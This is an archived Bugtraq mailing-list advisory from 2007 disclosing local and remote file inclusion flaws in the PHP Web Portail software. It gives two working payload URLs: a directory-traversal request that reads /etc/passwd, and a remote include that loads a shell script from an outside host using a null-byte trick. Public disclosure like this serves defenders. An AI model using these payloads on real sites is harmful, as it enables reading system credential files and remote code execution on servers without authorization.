php web portail [remote file include & local file include]

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: php web portail [remote file include & local file include]
From: saps.audit@xxxxxxxxx
Date: 1 Feb 2007 18:52:44 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

php web portail [remote file include & local file include]
download site: https://sourceforge.net/project/showfiles.php?group_id=178400
product:php web portail 
bug: remote file include & local file include
risk : high

local file include :
/index.php?page=../../../../../../../../../../../../../../../../../../../etc/passwd



remote file include :

/includes/includes.php?site_path=http://site.com/shell.txt?%00



laurent gaffié 
http://s-a-p.ca/
contact: saps.audit@xxxxxxxxx

Prev by Date: strange behavior on Cisco 2801
Next by Date: Omegaboard v1.0b4 (phpbb_root_path) Remote File Include Exploit
Previous by thread: Re: strange behavior on Cisco 2801
Next by thread: Omegaboard v1.0b4 (phpbb_root_path) Remote File Include Exploit
Index(es):
- Date
- Thread